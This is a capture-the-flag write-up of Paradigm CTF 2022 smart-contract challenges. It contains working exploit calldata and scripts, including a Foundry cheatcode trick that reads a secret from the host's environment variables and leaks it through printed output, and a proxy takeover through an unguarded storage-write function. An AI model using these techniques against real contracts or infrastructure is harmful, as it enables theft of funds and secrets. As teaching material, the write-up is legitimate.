# Paradigm CTF 2022 write-up by statemind.io team (14th out of more than 400 teams)

The Paradigm CTF 2022 had 23 challenges. We solved 11 of them, and finished on 14th out of >400 teams.

Solved challenges (harder --> easier):
- Lockbox2 (350.1 points, 20 solves): [solution](##Lockbox2)
- Trapdooor (298 points, 30 solves): [solution](##Trapdooor)
- Otterswap (289.7 points, 32 solves): [solution](##OTTERSWAP)
- Vanity (274.7 points, 36 solves): [solution](##Vanity)
- Otter-world (242.4 points, 47 solves): [solution](##OTTER-WORLD)
- Cairo-proxy (235.3 points, 50 solves): [solution](##CAIRO-PROXY)
- Sourcecode (212.4 points, 62 solves): [solution](##Sourcecode)
- Merkledrop (190.9 points, 78 solves): [solution](##Merkledrop)
- Riddle-of-the-Sphinx (172.1 points, 99 solves): [solution](##RIDDLE-OF-THE-SPHINX)
- Rescue (147 points, 148 solves): [solution](##Rescue)
- Random (115.6 points, 410 solves): [solution](##Random)



---

## Lockbox2
> Tags: PUZZLE
> Description: The long-awaited sequel

This challenge is a sequel to the Lockbox from Paradigm CTF 2021.

function solve() external {
    bool[] memory successes = new bool[](5);
    (successes[0],) = address(this).delegatecall(abi.encodePacked(this.stage1.selector, msg.data[4:]));
    (successes[1],) = address(this).delegatecall(abi.encodePacked(this.stage2.selector, msg.data[4:]));
    (successes[2],) = address(this).delegatecall(abi.encodePacked(this.stage3.selector, msg.data[4:]));
    (successes[3],) = address(this).delegatecall(abi.encodePacked(this.stage4.selector, msg.data[4:]));
    (successes[4],) = address(this).delegatecall(abi.encodePacked(this.stage5.selector, msg.data[4:]));
    for (uint256 i = 0; i < 5; ++i) require(successes[i]);
    locked = false;
}

To unlock the lockbox and solve the challenge we need to craft a calldata which should pass all 5 stages. Let's look at each stage.

#### Stage 1

function stage1() external {
    require(msg.data.length < 500);
}

The first stage is simple, the calldata length has to be less than 500 bytes. This is something to keep in mind for the other stages.

#### Stage 2

function stage2(uint256[4] calldata arr) external {
    for (uint256 i = 0; i < arr.length; ++i) {
        require(arr[i] >= 1);
        for (uint256 j = 2; j < arr[i]; ++j) {
            require(arr[i] % j != 0);
        }
    }
}

For the second stage, our calldata has to start with 4 prime numbers. Note the numbers can also be `1` which is not prime. Also, the numbers cannot be too big since the second loop goes from `2` until the number.

#### Stage 3

function stage3(uint256 a, uint256 b, uint256 c) external {
    assembly { mstore(a, b) }
    (bool success, bytes memory data) = address(uint160(a + b)).staticcall("");
    require(success && data.length == c);
}

For the third stage, sum of the first two numbers `a` and `b` has to be an address which when called doesn't fail and returns something with length `c`.

Why is `mstore(a, b)` there? Is this a misdirection or part of the solution? Let's leave it for later.

Remember, our numbers `a` and `b` cannot be too big, so we cannot deploy a contract at a random address and bruteforcing an address with a lot of leading zeros would take too much time. Do some precompiled contracts return something when called with nothing?

Sure enough, addresses `0x02`, `0x03` return some bytes, but their `data.length` is `32`. Luckily, address `0x05` returns `0x00` with length `1`. So we can set `a = 2`, `b = 3`, `c = 1` and the stage will pass. That's it, right?

Not quite. While this is valid for stage 3, it is not valid for stage 4 which will be explained down below.

So we have to use `mstore(a, b)`. Let's look at what is stored in memory, from [Solidity docs](https://docs.soliditylang.org/en/v0.8.16/internals/layout_in_memory.html):
> Solidity reserves four 32-byte slots, with specific byte ranges (inclusive of endpoints) being used as follows:
> - 0x00 - 0x3f (64 bytes): scratch space for hashing methods
> - 0x40 - 0x5f (32 bytes): currently allocated memory size (aka. free memory pointer)
> - 0x60 - 0x7f (32 bytes): zero slot

Overwriting the first two slots would have no effect since it's scratch space. Trying to overwrite the free memory pointer leads to EVM reverting or messing up memory. We are only left with the zero slot. This slot stores the initial value of "zero". So if we overwrite it, we can redefine what "zero" is. Then we can call any address without code and it would return `success = true` and `data.length` would be the new "zero".

The zero slot is `0x60 - 0x7f` which is `96 - 127` in decimal. Remember, `mstore()` writes 32 bytes to memory, so to overwrite the zero slot, we need `a` to be in range `[65, 127]`.
The `c` has to equal what is stored in the zero slot.

If we take `a = 89` and `b = 1`, then zero slot would be `0x0000000000000000000000000000000000000000000000000000000010000000` which is `268435456` in decimal. It's too big, so `a` has to be bigger than `96`.
If we take `a = 97`, `b` has to be bigger than `255` to overwrite the 127th byte in memory. Let's take `b = 257` which is `0x101` in hexadecimal, then we can take `c = 1`.
If we take `a > 97`, then `b` has to be too big.

#### Stage 4

function stage4(bytes memory a, bytes memory b) external {
    address addr;
    assembly { addr := create(0, add(a, 0x20), mload(a)) }
    (bool success, ) = addr.staticcall(b);
    require(tx.origin == address(uint160(uint256(addr.codehash))) && success);
}

For stage 4, we need to provide contract init bytecode `a` which should return our public key and it will be saved as the runtime code at address `addr`. Also, the public key at address `addr` has to be such that when called with `b`, it should not revert.

For the deployed contract to not revert, the public key has to start with two leading zeros, `00` is an opcode for `STOP` which halts execution. Such a public key can be easily bruteforced.

The contract bytecode `a` simply returns the public key:

PUSH32 0x00c327fa47799e0325ef5b45e0ffe2199f837142022637f135f0829ad3f7feb4
PUSH1 0x00
MSTORE
PUSH32 0xf467e6311c9730067c1392b8858e4e978177fa1f01d7bfa5eb4e9bcf336d1326
PUSH1 0x20
MSTORE
PUSH1 0x40
PUSH1 0x00
RETURN

Back to our calldata, the way `bytes` is encoded is in the first 32 bytes it saves the offset in the calldata, the next 32 bytes is the size, and then the `bytes` itself.

Remember `a = 2`, `b = 3` from stage 3? If we put offset as `2`, then the size will read as `0x20000` which is 131072 bytes and we are limited by 500 bytes from stage 1.

From stage 3, our offset is `97` bytes. The fourth number from stage 2, we can simply put `1`. Then the size of `bytes` will read as `256` bytes. Then in our calldata we save the contract bytecode and some bytes after to make the length `256` bytes.
It's not important what `b` is decoded into.

Our calldata up until this stage looks like:

0000000000000000000000000000000000000000000000000000000000000061 // 97
0000000000000000000000000000000000000000000000000000000000000101 // 257
0000000000000000000000000000000000000000000000000000000000000001 // 1
0000000000000000000000000000000000000000000000000000000000000001 // 1
00 // this is what size will read starting from 97th byte as 0x100
7f00c327fa47799e0325ef5b45e0ffe2199f837142022637f135f0829ad3f7fe // contract bytecode
b46000527ff467e6311c9730067c1392b8858e4e978177fa1f01d7bfa5eb4e9b
cf336d132660205260406000f300000000000000000000000000000000000000 // random stuff after the contract
0000000000000000000000000000000000000000000000000000000000000004
0000000000000000000000000000000000000000000000000000000000000005
0000000000000000000000000000000000000000000000000000000000000006
0000000000000000000000000000000000000000000000000000000000000007
0000000000000000000000000000000000000000000000000000000000000008

#### Stage 5

function stage5() external {
    if (msg.sender != address(this)) {
        (bool success,) = address(this).call(abi.encodePacked(this.solve.selector, msg.data[4:]));
        require(!success);
    }
}

For stage 5, the `solve()` function should fail when called with the same calldata.

One of the ways, the low-level call fails is when it runs out of gas. So when sending our solution transaction we need to set the gas limit such that the call to `solve()` in stage 5 fails.
But the low-level call sends 63/64th of available gas, leaving us with just 1/64th of gas which is not enough when writing to storage at `locked = false;` in the `solve()` function.

The idea is to include in the solution transaction an access list with slot 0 at the Lockbox2 address. This way the `SSTORE` opcode will be much cheaper.
Then we can find the right gas limit in a loop.

#### Conclusion
The solution transaction needs to be sent from the address of the public key we got in stage 4.
The transaction data:

{
    to: lock.address,
    gasLimit: 330000,
    accessList: [
      [
          lock.address,
          [
              "0x0000000000000000000000000000000000000000000000000000000000000000",
          ]
      ]
    ],
    data: "0x890d69080000000000000000000000000000000000000000000000000000000000000061000000000000000000000000000000000000000000000000000000000000010100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001007f00c327fa47799e0325ef5b45e0ffe2199f837142022637f135f0829ad3f7feb46000527ff467e6311c9730067c1392b8858e4e978177fa1f01d7bfa5eb4e9bcf336d132660205260406000f30000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000070000000000000000000000000000000000000000000000000000000000000008"
}

---

## Trapdooor
> Tags: PWN
> Description: In theoretical computer science and cryptography, a trapdoor function is a function that is easy to compute in one direction, yet difficult to compute in the opposite direction (finding its inverse) without special information, called the "trapdoor".

In this challenge we need to somehow factorize the number. The number is multipulcation of two 128-bit prime integers(that fact is available from deployment source code).

So it seems like the challenge very similar to RSA attack with "smart" bruteforce the factorization. We can do that using such methods like "Fermat's method" and its optimizations, especially assuming that numbers are close and both have exactly 128 bits. But it's so boring...

Let's look at the challenge deployment code deeper:

FLAG = os.getenv("FLAG", "PCTF{placeholder}")
#                  ^- hmm here is flag in ENVs


def new_factorize_action():
    def action() -> int:
        ticket = eth_sandbox.check_ticket(input("ticket please: "))
        if not ticket:
            print("invalid ticket!")
            return 1

        if ticket.challenge_id != eth_sandbox.CHALLENGE_ID:
            print("invalid ticket!")
            return 1

        runtime_code = input("runtime bytecode: ")

        try:
            binascii.unhexlify(runtime_code)
        except:
            print("runtime code is not hex!")
            return 1

        with tempfile.TemporaryDirectory() as tempdir:
            with open("./Script.sol", "r") as f:
                script = f.read()

            a = number.getPrime(128)
            b = number.getPrime(128)
            script = script.replace("NUMBER", str(a * b)).replace("CODE", runtime_code)

            with open(f"{tempdir}/Script.sol", "w") as f:
                f.write(script)

            p = subprocess.run(
                args=[
                    "/root/.foundry/bin/forge",
                    "script",
                    "Script.sol",
                    "--tc",
                    "Script",
                ],
                cwd=tempdir,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
            )
            # ^ - and this how they run our code
            

            if p.returncode != 0:
                print("failed to run script")
                return 1

            result = p.stdout.decode("utf8").strip().split("\n")[-1].strip()

            print(result)
            # ^ - here they prints script results...
            
            if result.startswith("you factored the number!"):
                print(FLAG)

    return eth_sandbox.Action(name="factorize", handler=action)

function run() external {
    uint expected = NUMBER;

    FactorizorLike factorizer = FactorizorLike(address(new Deployer(hex"CODE")));
    (uint a, uint b) = factorizer.factorize(expected);

    if (a > 1 && b > 1 && a != expected && b != expected && a != b && expected % a == 0 && expected % b == 0) {
        console.log("you factored the number! %d * %d = %d", a, b, expected);
    } else {
        console.log("you didn't factor the number. %d * %d != %d", a, b, expected);
        // ^ - here they log our numbers from factorizer
    }
}

so now we know some facts about challenge infra:
- code running using foundry script runner
- flag stored in envs
- they print uint256 numbers that we return from our factorizer contract

only that 3 facts allow us to solve that challenge without any boring factorization, let's see how:

#### 1. Need to read flag from ENVs
Since we know that script is running in foundry it's possible to use cheatcodes https://book.getfoundry.sh/cheatcodes/

There is `envString` cheatcode https://book.getfoundry.sh/cheatcodes/env-string that return ENV variable

Let's do a simple contract to prove that:

interface CheatCodes {
    function envString(string calldata) external view returns (string memory); // we've made it view to be able to call from 'factorize' view method
}

contract SolveTdr {
    function factorize(uint256 n) view external returns(uint256, uint256) {
        CheatCodes c = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

        string memory inp = "FLAG";
        string memory res = c.envString(inp);

        return (bytes(res).length, 0);
    }
}

run the challenge and we see that it returns:

you didn't factor the number. 42 * 0 != SOME_BIG_NUMBER

now we know that flag length is 42!

#### 2. Need pass flag from contract to outside
In previous step we've read flag from ENVs and now know that length is 42.

So, also we know that we can return two 256-bit integers to outside, `2 * 256bit = 512bit = 64bytes`.
Flag length is only `42` bytes, so let's just encode flag to 2 uint256 numbers

function factorize(uint256 n) view external returns(uint256 a, uint256 b) {
    CheatCodes c = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    string memory inp = "FLAG";
    string memory res = c.envString(inp);

    // conver res to bytes
    bytes memory res_b = bytes(res);
    // encode first 32bytes
    for (uint256 i = 0; i < 32; i++) {
        a = a << 8 | uint8(res_b[i]);
    }
    // encode the rest bytes
    for (uint256 i = 32; i < res_b.length; i++) {
        b = b << 8 | uint8(res_b[i]);
    }

    return (a, b);
}

and we got result from contract:

you didn't factor the number. 36303988286885487241881563943446880517349042511396977973869722935105628174645 * 449536659465279314028157 != SOME_BIG_NUMBER

now we need to decode numbers back to string, let's use simple python script:

a = 36303988286885487241881563943446880517349042511396977973869722935105628174645
b = 449536659465279314028157

# decode first part
flag = ""
while a>0:
    c = a & 0xFF
    flag += chr(c)
    a >>= 8

# decode second part
flag2 = ""
while b>0:
    c = b & 0xFF
    flag2 += chr(c)
    b >>= 8

print (flag[::-1] + flag2[::-1]) # concat inversed parts

the result:

PCTF{d0n7_y0u_10v3_f1nd1n9_0d4y5_1n_4_c7f}

then the organizers found out that some teams hacked the challenge in unintended way and created a new level: https://twitter.com/paradigm_ctf/status/1561228965175386112 :)

---

## OTTER-WORLD
> Tags: SANITY-CHECK
> Author: NotDeGhost
> Description: Otter World!

This challenge is just a sanity check. So, at start we have two frameworks, first contains dockerfile, src folder and smartcontract directory named chall, second has the src and smart-contract directory named solve.

In addition to this, we have two scripts, first to setup docker image and start contaier in integration mode, second to build in solve folder our contract and handle connection.

First, let's check chall's smartcontract in this path /framework/chall/programs/chall/src/lib.rs

#[program]
pub mod chall {
    use super::*;

    pub fn get_flag(_ctx: Context<GetFlag>, magic: u64) -> Result<()> {
        assert!(magic == 0x1337 * 0x7331);

        Ok(())
    }

}

Without any knowledge of rust, only with experience with solidity it may be clear, that all we need to get Ok() as result. So we need to call this function with magic number equal to 0x1337*0x7331.

Let's check solve smartcontract /framework-solve/solve/programs/solve/src.lib

#[program]
pub mod solve {
    use super::*;

    pub fn get_flag(ctx: Context<GetFlag>) -> Result<()> {

        let cpi_accounts = chall::cpi::accounts::GetFlag {
            flag: ctx.accounts.flag.clone(),
            payer: ctx.accounts.payer.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
            rent: ctx.accounts.rent.to_account_info(),
        };

        let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);

        chall::cpi::get_flag(cpi_ctx, 0x1337 /* TODO */)?;

        Ok(())
    }
}

We see that enviroment of chall is imported, neccessary arguments is created and all we need to do is replace /* TODO */ with * 0x7331.

So, that's all :)

Now we only need to understand, how to get flag. You need to check carefully run.sh script. After this check main.rs file in /framework-solve/src/main.rs

fn main() -> Result<(), Box<dyn Error>> {
    let mut stream = TcpStream::connect("127.0.0.1:8080")?;
    let mut reader = BufReader::new(stream.try_clone().unwrap());

    ...

    Ok(())
}

Replace 127.0.0:8080 with ip-address given on this task and get your flag.

---

## OTTERSWAP
> Tags: PWN
> Author: NotDeGhost
> Description: Otter's are bad at math..

Here we see the same two directories, so we already know what we should do.

First, check chall smartcontract (same path), we only need to see how swap function is working.

pub fn swap(ctx: Context<Swap>, amount: u64, a_to_b: bool) -> Result<()> {
        let swap = &ctx.accounts.swap;
        let pool_a = &mut ctx.accounts.pool_a;
        let pool_b = &mut ctx.accounts.pool_b;
        let user_in_account = &ctx.accounts.user_in_account;
        let user_out_account = &ctx.accounts.user_out_account;

        let (in_pool_account, out_pool_account) = if a_to_b {
            (pool_a, pool_b)
        } else {
            (pool_b, pool_a)
        };

        let x = in_pool_account.amount;
        let y = out_pool_account.amount;

        let out_amount = y - (x * y) / (x + amount);

        assert!(in_pool_account.mint == user_in_account.mint);
        assert!(out_pool_account.mint == user_out_account.mint);

        let in_ctx = CpiContext::new(
            ctx.accounts.token_program.to_account_info(),
            Transfer {
                from: ctx.accounts.user_in_account.to_account_info(),
                to: in_pool_account.to_account_info(),
                authority: ctx.accounts.payer.to_account_info(),
            },
        );
        let out_ctx = CpiContext::new(
            ctx.accounts.token_program.to_account_info(),
            Transfer {
                from: out_pool_account.to_account_info(),
                to: ctx.accounts.user_out_account.to_account_info(),
                authority: ctx.accounts.swap.to_account_info(),
            },
        );

        token::transfer(in_ctx, amount)?;
        let signer = [&swap.signer_seeds()[..]];
        token::transfer(out_ctx.with_signer(&signer), out_amount)?;

        in_pool_account.reload()?;
        out_pool_account.reload()?;

        assert!(in_pool_account.amount == x + amount);
        assert!(out_pool_account.amount == y - out_amount);

        Ok(())
    }

In context we have all necessary arguments for swap to be completed,
bool flag to check direction, amount is clear, I think.

The main formula of this task is:

let out_amount = y - (x * y) / (x + amount);

Let's see solve smart contract:

 pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
  
            let cpi_accounts = chall::cpi::accounts::Swap {
                swap: ctx.accounts.swap.clone(),
                payer: ctx.accounts.payer.to_account_info(),
                pool_a: ctx.accounts.pool_a.to_account_info(),
                pool_b: ctx.accounts.pool_b.to_account_info(),
    
                user_in_account: ctx.accounts.user_in_account.to_account_info(),
                user_out_account: ctx.accounts.user_out_account.to_account_info(),
    
                token_program: ctx.accounts.token_program.to_account_info(),
            };
    
            let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
    
            chall::cpi::swap(cpi_ctx, 10, true)?;

        Ok(())
    }

At first look, i didn't understand what should I do here, but then after some calls of swap function with different amounts, I was able to understand that calculation of out_amount wasn't correct at all.

In default call after swap we have this answer:

funds1: 0
funds2: 5

Placing in amount 1 instead of 10, we will get:

funds1: 9
funds2: 1

Calling in cycle with 1 amount of funds1 token:

funds1: 0
funds2: 10

So, we get on 5 more tokens, than by default call, but this is still not the answer, the last option we have is too change direction and swap 1 funds2 token after this swap and see, what we will get.

funds1: 20
funds2: 9

And the flag after, but I think two swaps in different directions will be enough for this task.

Only one thing you need to know is to change user token accounts, to make this transfer possible, so a little bit of solana's PDA is needed here.

---

## Vanity
> Tags: PWN
> Description: Just think of the gas savings!

To solve that challenge you need to create address (EOA or contract) with 16 or more zero bytes.
But that's impossible...

Ofc, you can use https://github.com/johguse/ERADICATE2 or https://github.com/johguse/profanity, but you will mine soooo looong time (some of our teammates broke their own GPU on that...)

So let's think a little bit about other ways:
- mb there is some issue in signature recovery?
- or we need some alredy existing contract that returns 32 bytes and first 4 of them is valid selector of `isValidSignature(bytes32 hash, bytes memory signature)`?

The first option was checked and no issues were found(or not..)

The second one is much more interesting, after first bunch of thinking we've tried to find contract that already deployed and fits our needs, but no contract was found, and it's expectable since contract should have only 4 non-zero bytes in address...

After some discussion we remembered about precompiles, they usually have addresses starting from `0x01` so have many many zeros.

The first very interesting one is `identity`(address `0x04`) that precompile returns calldata that passed to call, and that approach is would work, but there is the check `result.length == 32`, so our result was 100 bytes even with empty signature.

Then we simply switched to `SHA2-256`(address `0x02`), that precompile returns sha2-256 hash (32 bytes) of passed calldata, so we need to just bruteforce payload to get hash that starts with `1626ba7e` (selector of `isValidSignature(bytes32 hash, bytes memory signature)`):

from brownie import web3
import hashlib
import random

def sha256(dat):
    dat = bytes.fromhex(dat)
    m = hashlib.sha256()
    m.update(dat)
    return m.digest().hex()


def enc(i):
    h = hex(i)
    h = h[2:]
    if len(h) % 2 == 1:
        h = '0' + h
    h = '0x' + h
    # 1626ba7e - selector of isValidSignature(bytes32 hash, bytes memory signature)
    # 19bb34e293bba96bf0caeea54cdd3d2dad7fdf44cbea855173fa84534fcfb528 - keccak256(abi.encodePacked("CHALLENGE_MAGIC"))
    # returns packed calldata for isValidSignature(bytes32 hash, bytes memory signature) call
    return '1626ba7e' + web3.codec.encode_abi(['bytes32', 'bytes'], ['19bb34e293bba96bf0caeea54cdd3d2dad7fdf44cbea855173fa84534fcfb528', h]).hex()

after some minutes of findings (58 mins) we've found the right signature `0x8cf1a8bb`

sha256(enc(0x8cf1a8bb)) == '1626ba7e11c9fdc6c495f346beb65e2f712676389ec7733846f0457a36113dc1'

so to the solution is call `solve(0x0000000000000000000000000000000000000002, 0x8cf1a8bb)`

---

## RIDDLE-OF-THE-SPHINX
> Tags: SANITY CHECK
> Description: What walks on four legs in the morning, two legs in the afternoon, three legs in the evening, and no legs at night?

This challenge is just a sanity check we need to call the `solve` function with the `man` argument.

First we tried to solve this with the `starknet-hardhat-plugin`, but we couldn't find `player_address` there and create an account to send a transaction from.

Then we found all libraries and code needed here https://github.com/paradigmxyz/paradigm-ctf-infrastructure/tree/master/images/cairo-challenge-base, so our final code is:

from starkware.starknet.core.os.contract_address.contract_address import calculate_contract_address_from_hash
from starkware.crypto.signature.signature import private_to_stark_key

from starknet_py.net.gateway_client import GatewayClient
from starknet_py.net import AccountClient, KeyPair
from starknet_py.net.models import StarknetChainId
from starknet_py.contract import Contract

RPC_ENDPOINT = "http://5bd4c71e-75a5-4922-88c4-1e882634033d@35.226.167.223:5050"
PLAYER_PRIVATE_KEY = 0x59163835b5173e8b343cd69721ac870e
CONTRACT_ADDR = "0x62f91bb3d018fb3e21ef705db7a440c6af8ea73f3ab468813c352771b82a3e6"

client = GatewayClient(
    RPC_ENDPOINT, chain=StarknetChainId.TESTNET
)
player_public_key = private_to_stark_key(PLAYER_PRIVATE_KEY)
player_address = calculate_contract_address_from_hash(
    salt=20,
    class_hash=1803505466663265559571280894381905521939782500874858933595227108099796801620,
    constructor_calldata=[player_public_key],
    deployer_address=0,
)
account_client_testnet = AccountClient(
    client=client,
    address=player_address,
    key_pair=KeyPair(private_key=PLAYER_PRIVATE_KEY, public_key=player_public_key),
    chain=StarknetChainId.TESTNET,
)

contract = Contract.from_address_sync(CONTRACT_ADDR, account_client_testnet)

invocation = contract.functions["solve"].invoke_sync("man", max_fee=int(1e16)).wait_for_acceptance_sync()

---

## CAIRO-PROXY
> Tags: PWN
> Description: Just a simple proxy contract

In this challenge, we need to somehow retrieve int(50000e18) ERC20 tokens to our account.

When we first looked at this challenge we remembered classic [AAVE proxy vulnerability](https://blog.trailofbits.com/2020/12/16/breaking-aave-upgradeability/), just find an implementation contract and initialize with the needed amount of tokens to our address.

@external #
func initialize{
    syscall_ptr : felt*,
    pedersen_ptr : HashBuiltin*,
    range_check_ptr,
    }(owner_account : felt, initial_supply : Uint256) -> ():

    let (is_initialized) = initialized.read()
    if is_initialized != 0:
        return ()
    end
    initialized.write(1)
    uint256_check(initial_supply)

    owner.write(value=owner_account)

    balances.write(account=owner_account, value=initial_supply)
    return()
end

But StarkNet proxies use just `class_hash` (defines the contract functionality) without the need to deploy implementation, challenge contract just stores `class_hash` of ERC20, so it was impossible to find the implementation address.

@external
@raw_input
@raw_output
func __default__{
        syscall_ptr: felt*,
        pedersen_ptr: HashBuiltin*,
        range_check_ptr
    }(
        selector: felt,
        calldata_size: felt,
        calldata: felt*
    ) -> (
        retdata_size: felt,
        retdata: felt*
    ):
    let (class_hash) = implementation.read() # stores just class_hash
    let (retdata_size: felt, retdata: felt*) = library_call(
        class_hash=class_hash,
        function_selector=selector,
        calldata_size=calldata_size,
        calldata=calldata
    )

    return (retdata_size=retdata_size, retdata=retdata)
end

Also, contract has utils:

%lang starknet

from starkware.starknet.common.syscalls import storage_read, storage_write, get_caller_address

# Helpers for auth users to interact with contract's storage 
@view
func auth_read_storage{
        syscall_ptr : felt*,
    }(auth_account : felt, address : felt) -> (value : felt):
    let (caller) = get_caller_address()

    assert caller = auth_account

    let (value) = storage_read(address=address)

    return (value=value)
end

@external
func auth_write_storage{
        syscall_ptr : felt*,
    }(auth_account : felt, address : felt, value : felt):
    let (caller) = get_caller_address()

    assert caller = auth_account

    storage_write(address=address, value=value)
    return()
end

There is an external `auth_write_storage` function, which allows the owner set storage variables, at first sight, we didn't notice `@external` modifier and thought it was impossible to modify storage.

Then we just printed contract functions:

for in function in contract.functions:
    print(contract.functions)

And saw - `auth_write_storage` public function and sent transaction with `auth_account=player` to set proxy's owner to `player_address`, to find `owner` variable id or address used:

owner_var = get_storage_var_address("owner") # get owner variable id

Also, there was an embarrassing moment when `50000 * 10**18` is not equal to `int(50000e18)` haha.

So the solution is:

from pathlib import Path
import json

from starkware.starknet.core.os.contract_address.contract_address import calculate_contract_address_from_hash
from starkware.crypto.signature.signature import private_to_stark_key
from starknet_py.net.gateway_client import GatewayClient
from starknet_py.net import AccountClient, KeyPair
from starknet_py.net.models import StarknetChainId
from starknet_py.contract import Contract
from starkware.starknet.public.abi import get_storage_var_address


RPC_ENDPOINT = "http://5bd4c71e-75a5-4922-88c4-1e882634033d@35.226.167.223:5050"
PLAYER_PRIVATE_KEY = 0x59163835b5173e8b343cd69721ac870e
CONTRACT_ADDR = "0x62f91bb3d018fb3e21ef705db7a440c6af8ea73f3ab468813c352771b82a3e6"

client = GatewayClient(
    RPC_ENDPOINT, chain=StarknetChainId.TESTNET
)
player_public_key = private_to_stark_key(PLAYER_PRIVATE_KEY)
player_address = calculate_contract_address_from_hash(
    salt=20,
    class_hash=1803505466663265559571280894381905521939782500874858933595227108099796801620,
    constructor_calldata=[player_public_key],
    deployer_address=0,
) # retrieve player_address

account_client_testnet = AccountClient(
    client=client,
    address=player_address,
    key_pair=KeyPair(private_key=PLAYER_PRIVATE_KEY, public_key=player_public_key),
    chain=StarknetChainId.TESTNET,
)

contract = Contract.from_address_sync(CONTRACT_ADDR, account_client_testnet)
owner_var = get_storage_var_address("owner") # get owner variable id
# set proxy.cairo contract owner to player with utils auth_write_storage
contract.functions["auth_write_storage"].invoke_sync(player_address, owner_var, player_address, max_fee=int(1e16)).wait_for_acceptance_sync()

contract_wrapped_erc20 = Contract(contract.address, json.loads(Path("./contract_compiled.json").read_text())["abi"], account_client_testnet)
# mint to player needed amount, mint checks owner which is player
contract_wrapped_erc20.functions["mint"].invoke_sync(player_address, int(50000e18), max_fee=int(1e16)).wait_for_acceptance_sync()

---

## Sourcecode
> Tags: PUZZLE
> Description: Fixed point EVM bytecode

The goal of this challenge is to write a contract which returns its own code. Sounds easy, right?

But, there are two requirements for this code:
1. The code length has to be bigger than 0, otherwise we could just send empty code to the `solve()` function
2. The code has to be "safe"

Let's look at the `safe()` function which determines if our code is safe:

function safe(bytes memory code) private pure returns (bool) {
    uint i = 0;
    while (i < code.length) {
        uint8 op = uint8(code[i]);

        if (op >= 0x30 && op <= 0x48) {
            return false;
        }

        if (
               op == 0x54 // SLOAD
            || op == 0x55 // SSTORE
            || op == 0xF0 // CREATE
            || op == 0xF1 // CALL
            || op == 0xF2 // CALLCODE
            || op == 0xF4 // DELEGATECALL
            || op == 0xF5 // CREATE2
            || op == 0xFA // STATICCALL
            || op == 0xFF // SELFDESTRUCT
        ) return false;

        if (op >= 0x60 && op < 0x80) i += (op - 0x60) + 1;

        i++;
    }

    return true;
}

The function `safe()` receives the bytecode of our contract, checks all the opcodes and returns `false` if that opcode is not allowed.

Among the restricted opcodes are `ADDRESS`, `CODECOPY`, `EXTCODECOPY`, `CREATE`, `CREATE2`, `CALL`, `STATICCALL`, `DELEGATECALL`. So we cannot just copy the contract code and return it, or deploy another contract which would return our contract code.

By now, you can guess we need to write the runtime bytecode of our contract manually since any Solidity implementation would almost certainly include restricted opcodes in its bytecode.
The [EVM Playground](https://www.evm.codes/playground) is a very useful tool for this purpose.

So what opcodes can we use?
We can use `PUSH`, `MSTORE`, `JUMP`, `POP`, `DUP`, `SWAP`, `RETURN` and some other opcodes which are not useful for us.

Why not just use `PUSH32` and `MSTORE` to store our contract bytecode into memory and return it?
We cannot do that since `PUSH32` bytecode argument would have to include `PUSH32` bytecode argument and so on.

Let's look at the solution and explain it:

PUSH32 0x806cffffffffffffffffffffffffff50600152602152607f60005360416000f3
DUP1
PUSH13 0xffffffffffffffffffffffffff
POP
PUSH1 0x01
MSTORE
PUSH1 0x21
MSTORE
PUSH1 0x7f
PUSH1 0x00
MSTORE8
PUSH1 0x41
PUSH1 0x00
RETURN

We first `PUSH32` the contract bytecode starting from `DUP1`. This makes our contract bytecode to look like: `7f`, `806cffffffffffffffffffffffffff50600152602152607f60005360416000f3`, `806cffffffffffffffffffffffffff50600152602152607f60005360416000f3`.

The trick is to use the `DUP1` opcode which duplicates the 1st stack item.

Then we `PUSH13` some stuff just to get bytecode length in the first `PUSH32` to 32 bytes since `PUSH` of less than 32 bytes prepends the argument with leading zeros in the stack, so when we duplicate it we get zeros in between bytecodes. We just `POP` it since we don't need it.

We store the two items in the stack starting from the first byte. We save the `PUSH32` opcode in the first byte. Then return everything in memory.

The solution bytecode: `0x7f806cffffffffffffffffffffffffff50600152602152607f60005360416000f3806cffffffffffffffffffffffffff50600152602152607f60005360416000f3`

---

## Merkledrop
> Tags: PWN
> Description: Were you whitelisted?

In this challenge, we need to claim all airdropped tokens, but at least one of the recipients mustn't claim.

The first idea was trying to short address attack, move the first two bytes of address to index, and the result ```abi.encodePacked(index, account, amount)``` should be the same as the original concatenated string, the amount will be increased by 256 times, but it didn't work, at least it was impossible to find proofs that sums will be equal to 75000 * 10^18.

function claim(uint256 index, address account, uint96 amount, bytes32[] memory merkleProof) external {
    ...
    bytes32 node = keccak256(abi.encodePacked(index, account, amount));
    ...
}

Then we looked at the `claim` function in the `MerkleDistributor` contract:

We can see ```abi.encodePacked(index, account, amount)``` length is 512 bit (256 + 160 + 96).

Also looked at proof function part ```computedHash = keccak256(abi.encodePacked(computedHash, proofElement))```, `computedHash`, `proofElement` each length is 256 bit.

So this was it. From this point, we can divide any proof into `index, account, amount`. For example:

// leaf 37 proof[0]
"0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442d48451c19959e2D9bD4E620fBE88aA5F6F7eA72A00000f40f0c122ae08d2207b"

We can divide it as:

uint index = 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442;
address account = 0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A;
uint96 amount = 0x00000f40f0c122ae08d2207b;

From now we went through all proofs and tried to find one with an amount <= 75000 * 10^18, it was `proof[0]` of leaf 37, then we searched in leafs amount equals to `75000 * 10^18 - amount(proof[0])` and found index 8.

Then wrote solution script in foundry:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.16;

import "../merkledrop/contracts/Setup.sol";

contract ContractTest {
    Setup public s;
    MerkleDistributor public md;
    function setUp() public {
        s = Setup(0x025eF2c14E0aF670E6dF635b9c12958eE32D6132); // setup contract address
        md = MerkleDistributor(s.merkleDistributor());
    }

    function run() public {
